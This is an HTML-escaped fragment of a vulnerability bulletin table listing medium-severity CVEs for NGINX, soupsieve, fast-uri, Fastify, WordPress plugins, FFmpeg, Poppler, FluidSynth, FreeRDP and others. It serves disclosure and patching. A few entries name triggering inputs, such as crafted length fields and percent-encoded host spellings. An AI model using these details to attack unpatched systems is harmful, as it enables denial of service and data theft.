&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12042&quot; target=&quot;_blank&quot;&gt;CVE-2026-12042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;F5--NGINX Plus&lt;/td&gt;
&lt;td&gt;NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_v3_module module. When using HTTP/3 with OpenSSL versions &amp;lt;= OpenSSL 3.5.0 under certain configurations, a limited heap buffer overflow could happen while processing a TLS handshake. This can happen in a non-deterministic manner that is beyond the attacker&#039;s control.&amp;nbsp;This may cause a heap buffer overflow in the NGINX worker process leading to a restart and/or limited data corruption. Impact: This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or limited data corruption. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90439&quot; target=&quot;_blank&quot;&gt;CVE-2026-90439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;facelessuser--soupsieve&lt;/td&gt;
&lt;td&gt;Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85999&quot; target=&quot;_blank&quot;&gt;CVE-2026-85999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;facelessuser--soupsieve&lt;/td&gt;
&lt;td&gt;Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, the selector parser in src/soupsieve/css_parser.py defines IDENTIFIER with adjacent quantified groups over overlapping character classes, and VALUE embeds IDENTIFIER for attribute selectors. When an attacker-controlled selector contains a long identifier or unquoted attribute-value run followed by input that makes the overall match fail, the regular expression engine explores quadratically many splits between the overlapping groups. User-controlled selectors can reach this path through soupsieve.compile(), soupsieve.select(), or BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. The resulting CPU consumption can hold the Python GIL, exhaust application workers, and stall a service; successful plain identifier matches are linear, and the issue does not cause memory corruption or code execution. The issue is fixed in version 2.9.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86000&quot; target=&quot;_blank&quot;&gt;CVE-2026-86000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;farazfrank--Filter Gallery&lt;/td&gt;
&lt;td&gt;The Filter Gallery plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the title and content of arbitrary WordPress posts, write the _wp_attachment_image_alt meta key on arbitrary posts, and create or overwrite arbitrary ufg_gallery_* options.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89138&quot; target=&quot;_blank&quot;&gt;CVE-2026-89138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fast-uri--fast-uri&lt;/td&gt;
&lt;td&gt;fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv. In versions before 2.4.7, from 3.0.0 through 3.1.7, and from 4.0.0 through 4.1.4, fast-uri folds the host to lowercase before it percent-decodes the host, so a percent-encoded uppercase octet such as %41 decodes to a literal A that is never folded. For a scheme-relative reference such as //host there is no scheme, so the host canonicalization that would normally repair this does not run, and parse, normalize, and equal then disagree on the same host. An application that makes a case-sensitive host decision on fast-uri output, for example a host allowlist or denylist that compares the parsed host or uses equal, can be steered past the check with a percent-encoded uppercase octet, and because hostnames are case-insensitive in DNS and HTTP the evading spelling still reaches the host the check meant to gate. The issue is fixed in fast-uri 2.4.7, 3.1.8, and 4.1.5, and users should upgrade to one of those versions or later. As a workaround, compare hosts case-insensitively by lowercasing the parsed host before any allowlist or denylist decision.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86472&quot; target=&quot;_blank&quot;&gt;CVE-2026-86472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fast-uri--fast-uri&lt;/td&gt;
&lt;td&gt;fast-uri is a dependency-free RFC 3986 URI parser for Node.js, used by Fastify and ajv, that added a mailto scheme parser in version 4.1.3. In versions 4.1.3 and 4.1.4, the mailto parser compares each query field name to the reserved names to, subject, and body while the name is still percent-encoded, and decodes it only when storing it as a generic header, so a percent-encoded spelling of a reserved field name is not recognized as that field at parse time but is re-emitted as the literal field name when the parsed URI is serialized. An application that validates, logs, or displays the recipient list from the first parse and then serializes the URI and sends it can silently gain an attacker-chosen recipient, and the subject and body fields can be smuggled across the same roundtrip. The issue is fixed in fast-uri 4.1.5, and users should upgrade to 4.1.5 or later. As a workaround, do not act on a mailto URI that fast-uri has re-serialized without first decoding and re-validating its recipient, subject, and body fields.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86818&quot; target=&quot;_blank&quot;&gt;CVE-2026-86818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fastify--fastify&lt;/td&gt;
&lt;td&gt;fastify is a fast and low-overhead web framework for Node.js. In versions before 5.12.5, when a route registers a response trailer via reply.trailer() and is served over HTTP/2, fastify unconditionally sets the Transfer-Encoding: chunked header, which is forbidden on HTTP/2, so Node.js throws while serializing the response headers. The exception is not caught and becomes an uncaughtException, so a single unauthenticated HTTP/2 request to any route that uses trailers crashes the server process and drops all in-flight requests, and it can be repeated on every restart. The issue is fixed in fastify 5.12.5, and users should upgrade to 5.12.5 or later. As a workaround, avoid registering response trailers with reply.trailer() on routes served over HTTP/2 until upgrading.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92081&quot; target=&quot;_blank&quot;&gt;CVE-2026-92081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FedML-AI--FedML&lt;/td&gt;
&lt;td&gt;A weakness has been identified in FedML-AI FedML up to 0.9.6. Affected by this issue is the function S3Storage.read_model of the file fedml/core/distributed/communication/s3/remote_storage.py of the component MQTT+S3 Communication Backend. This manipulation of the argument s3_key_str causes deserialization. Remote exploitation of the attack is possible. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90614&quot; target=&quot;_blank&quot;&gt;CVE-2026-90614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in FFmpeg up to 4.4.6/5.1.8/6.1.4/7.1.3/8.0.1. Affected by this issue is the function setup_3x3 of the file libavfilter/vf_convolution.c of the component Convolution Filter. Such manipulation leads to out-of-bounds read. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.4.7, 5.1.9, 6.1.5, 7.1.4, 8.0.2, 8.1.1 and 9.0 can resolve this issue. The name of the patch is 8970658472/e24b9820b4. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90815&quot; target=&quot;_blank&quot;&gt;CVE-2026-90815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
&lt;td&gt;A vulnerability was found in FFmpeg 8.0.x. This affects the function parse_playlist of the file libavformat/hlsproto.c of the component Duration Parser. Performing a manipulation of the argument duration/target_duration results in denial of service. The attack is possible to be carried out remotely. Upgrading to version 8.1 and 9.0 is able to mitigate this issue. The patch is named 64fafd63f0b4. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90816&quot; target=&quot;_blank&quot;&gt;CVE-2026-90816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;filebrowser--filebrowser&lt;/td&gt;
&lt;td&gt;filebrowser through 2.63.23 fails to limit WebSocket message size in the /api/command handler before checking permissions, allowing authenticated users to buffer arbitrarily large messages. Attackers can send oversized WebSocket messages to exhaust server heap memory and cause denial of service regardless of EnableExec setting or Execute permission.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90927&quot; target=&quot;_blank&quot;&gt;CVE-2026-90927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;filebrowser--filebrowser&lt;/td&gt;
&lt;td&gt;File Browser through 2.63.23 contains a memory exhaustion vulnerability in the subtitle conversion endpoint that loads entire subtitle files into memory without size limits. Authenticated attackers with download permission can request conversion of large .srt, .ass, or .ssa files and exhaust server memory through concurrent requests, causing denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90928&quot; target=&quot;_blank&quot;&gt;CVE-2026-90928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;filebrowser--filebrowser&lt;/td&gt;
&lt;td&gt;File Browser through 2.63.23 applies path rules to the requested lexical path but resolves symbolic links without reapplying rules to the target, allowing authenticated users to bypass deny rules. Attackers can read and overwrite rule-denied files by accessing them through in-scope symbolic link aliases that resolve to denied paths.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90930&quot; target=&quot;_blank&quot;&gt;CVE-2026-90930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flextheme--Flex Import&lt;/td&gt;
&lt;td&gt;The Flex Import plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 3.0. This is due to the license_activate_fleximp() and license_deactivate_fleximp() functions, hooked to the wp_ajax_license_activate_fleximp and wp_ajax_license_deactivate_fleximp AJAX actions, lacking both a capability check (current_user_can()) and nonce verification (the client-side script sends a &#039;wpnonce&#039; value but the handlers never validate it). This makes it possible for authenticated attackers, with subscriber-level access and above, to activate an arbitrary/fraudulent license key (persisting it via update_option(&#039;fleximp_is_premium&#039;) and toggling validation, suspension, and bundle status options) or deactivate the site&#039;s legitimate license (deleting the stored key and setting fleximp_validation_status to false), thereby disrupting the plugin&#039;s premium functionality.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9615&quot; target=&quot;_blank&quot;&gt;CVE-2026-9615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;flowable--flowable-engine&lt;/td&gt;
&lt;td&gt;Flowable flowable-engine through 8.0.0 contains an XML external entity injection vulnerability in ProcessDiagramLayoutFactory.parseXml() that fails to disable external entity resolution when parsing deployed BPMN resources. Attackers with process deployment privileges can embed DOCTYPE declarations with external entities in BPMN files to read arbitrary local files or trigger requests to internal network endpoints when diagram layout is computed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91197&quot; target=&quot;_blank&quot;&gt;CVE-2026-91197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise versions before 3.1.4 contain a script injection vulnerability in Docker image build workflows where workflow_dispatch inputs are directly interpolated into shell run blocks. Attackers with repository write access can inject shell metacharacters through inputs like tag_version and node_version to execute arbitrary commands and steal AWS credentials and Docker Hub tokens.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91936&quot; target=&quot;_blank&quot;&gt;CVE-2026-91936&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fluent-plugins-nursery--fluent-plugin-opentelemetry&lt;/td&gt;
&lt;td&gt;fluent-plugin-opentelemetry is a Fluentd input and output plugin for forwarding OpenTelemetry Protocol data. Prior to 0.5.3, the in_opentelemetry HTTP input read the entire incoming request body and decompressed payloads into memory without enforcing maximum size thresholds. When an OpenTelemetry ingestion endpoint was exposed to an untrusted network, an attacker could send an excessively large request or a highly compressed payload that expanded in memory. The resulting memory exhaustion could cause the operating system to terminate the Fluentd process, disrupting all log collection and forwarding on the affected node. This issue is fixed in version 0.5.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44163&quot; target=&quot;_blank&quot;&gt;CVE-2026-44163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 2.5.0 until 2.5.6, the SF2 parser computes the DMOD modulator count as chunk.size / SF_MOD_SIZE - 1 without rejecting chunks smaller than one record. A crafted SF2 file containing a zero-sized DMOD chunk makes the unsigned subtraction wrap to UINT_MAX, and the parser then attempts billions of SFMod allocations. This exhausts process memory and causes denial of service. No workaround is available. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61720&quot; target=&quot;_blank&quot;&gt;CVE-2026-61720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 2.5.0 until 2.5.6, the native DLS parser validates articulation chunks using the unsigned expression cbsize + connblocks * 12 without first ensuring that the multiplication and addition fit in 32 bits. A crafted DLS file can supply a large connblocks value that wraps the expression and bypasses the chunk-size check, after which the parser performs approximately one billion 12-byte iterations beyond the chunk boundary. The excessive processing and invalid reads can cause denial of service. Builds with the CMake option enable-native-dls set to OFF do not expose the parser. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61722&quot; target=&quot;_blank&quot;&gt;CVE-2026-61722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FluidSynth--fluidsynth&lt;/td&gt;
&lt;td&gt;FluidSynth is a software synthesizer based on the SoundFont 2 specifications. From 2.5.0 until 2.5.6, the native DLS parser validates ptbl chunks with the unsigned expression cues * 4 + cbsize without checking whether the multiplication and addition fit in 32 bits. A crafted DLS file can supply a large cues value that wraps the expression and passes the chunk-size check, causing poolcues.resize(cues) to request approximately four gigabytes and the parser to read billions of entries beyond the chunk boundary. The excessive allocation and invalid reads can cause denial of service. Builds with enable-native-dls set to OFF are not exposed. This issue is fixed in version 2.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61723&quot; target=&quot;_blank&quot;&gt;CVE-2026-61723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fnando--svg_optimizer&lt;/td&gt;
&lt;td&gt;The svg_optimizer gem before 0.3.0 for Ruby performs entity expansion on untrusted documents.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-46035&quot; target=&quot;_blank&quot;&gt;CVE-2023-46035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Formidable Forms--Formidable Forms&lt;/td&gt;
&lt;td&gt;The Formidable Forms WordPress plugin before 6.35 does not prevent a request-derived value from reaching the WordPress shortcode parser when it substitutes a supported token into a form&#039;s custom HTML, allowing unauthenticated visitors to have arbitrary shortcodes, with attacker-chosen attributes, executed server-side on any page displaying an affected form.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19857&quot; target=&quot;_blank&quot;&gt;CVE-2026-19857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;foxtheme--Foxtool All-in-One: Contact chat button, Custom login, Media optimize images&lt;/td&gt;
&lt;td&gt;The Foxtool All-in-One: Contact chat button, Custom login, Media optimize images plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to modify arbitrary subkeys of the foxtool_settings option, including enabling site-wide SVG uploads by toggling the media-up3 key, which can facilitate stored cross-site scripting via malicious SVG files.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18317&quot; target=&quot;_blank&quot;&gt;CVE-2026-18317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Frappe--ERPNext&lt;/td&gt;
&lt;td&gt;Frappe ERPNext versions before 15.121.0 and 16.x before 16.34.0 contain an information disclosure vulnerability in whitelisted timesheet endpoints that fail to enforce doctype permissions. Authenticated attackers can call get_projectwise_timesheet_data, get_timesheet_detail_rate, and get_timesheet endpoints to enumerate and retrieve billable time logs including project names, billing amounts, and work descriptions without proper authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94113&quot; target=&quot;_blank&quot;&gt;CVE-2026-94113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Frappe--Frappe&lt;/td&gt;
&lt;td&gt;Frappe before 14.49.0 allows an XSS attack that is associated with blog pages and exception pages.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-51769&quot; target=&quot;_blank&quot;&gt;CVE-2023-51769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Free5GC--Free5GC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Free5GC up to 4.2.3. This vulnerability affects unknown code of the file /corefuzzer_deps/free5gc/NFs/amf/internal/gmm/handler.go of the component Gmm Handler. This manipulation causes race condition. The attack can be initiated remotely. Patch name: e323b01464355781b8b8d5dd695e05cbc00a62f2. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94043&quot; target=&quot;_blank&quot;&gt;CVE-2026-94043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Freedesktop--Poppler&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Freedesktop Poppler 26.07.0. The impacted element is the function JBIG2Stream::readCodeTableSeg of the file poppler/JBIG2Stream.cc. Performing a manipulation results in integer overflow. The attack can be initiated remotely. The exploit has been made public and could be used. The patch is named eb87cf711563894649bd0c365baa479401dc6d51. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93313&quot; target=&quot;_blank&quot;&gt;CVE-2026-93313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Freedesktop--Poppler&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Freedesktop Poppler 26.07.0. This affects the function FoFiTrueType::mapCodeToGID of the file fofi/FoFiTrueType.cc. Executing a manipulation of the argument segCnt can lead to integer overflow. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This patch is called ed2a5538cf0a8d3ff908191eda9b73f91a5f952a. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93314&quot; target=&quot;_blank&quot;&gt;CVE-2026-93314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Freedesktop--Poppler&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Freedesktop Poppler 26.07.0. This issue affects the function SampledFunction::SampledFunction of the file poppler/Function.cc of the component SampledFunction. The manipulation of the argument BitsPerSample results in integer overflow. The attack may be performed from remote. The exploit is now public and may be used. The project was informed of the problem early through a bug report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93311&quot; target=&quot;_blank&quot;&gt;CVE-2026-93311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Freedesktop--Poppler&lt;/td&gt;
&lt;td&gt;A flaw has been found in Freedesktop Poppler 26.07.0. Impacted is the function JBIG2Stream::rewind of the file poppler/JBIG2Stream.cc. This manipulation causes null pointer dereference. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 26.08.0 is recommended to address this issue. Patch name: 5e49250f13b0390edeb3f90eb4c02c9941f97067. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93312&quot; target=&quot;_blank&quot;&gt;CVE-2026-93312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an out-of-bounds read vulnerability in smartcard response decoders that fail to validate ATR length fields against fixed inline arrays. Authenticated RDP clients can send oversized ATR lengths in PAKID_CORE_DEVICE_IOCOMPLETION responses to trigger reads past stack or heap objects, causing process termination.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91945&quot; target=&quot;_blank&quot;&gt;CVE-2026-91945&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an information disclosure vulnerability in the RDPGFX server&#039;s ResetGraphics PDU serializer that fails to initialize padding bytes in the fixed 340-byte wire format. Attackers can receive uninitialized heap memory including live pointers and GLib function addresses transmitted in the PDU, defeating heap ASLR and disclosing the GLib module base address.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91946&quot; target=&quot;_blank&quot;&gt;CVE-2026-91946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP before 3.31.0 contains an out-of-bounds read vulnerability in the rdpdr_dump_packet function due to 32-bit unsigned integer wraparound in buffer bounds validation. A malicious RDP server can send a crafted RDPDR packet with computerNameLen set to 0xFFFFFFF0 to bypass bounds checks and trigger memory reads past the packet buffer, causing client crashes or heap disclosure in logs.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91950&quot; target=&quot;_blank&quot;&gt;CVE-2026-91950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an out-of-bounds write vulnerability in the urbdrc client channel&#039;s urb_send_current_frame_number_result() function. A malicious RDP server can send a crafted 28-byte USB redirection message to trigger a 4-byte write past the allocated 16-byte buffer, causing denial of service when verbose asserts are enabled.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91951&quot; target=&quot;_blank&quot;&gt;CVE-2026-91951&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FreeRDP--FreeRDP&lt;/td&gt;
&lt;td&gt;FreeRDP versions before 3.31.0 contain an infinite-loop denial of service in the pool_decode_rect function when decoding AVC444 metablocks with more region rectangles than preallocated worker array size. A malicious RDP server can send crafted AVC444 graphics updates causing the threaded decode path to loop indefinitely, consuming CPU and preventing normal client operation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
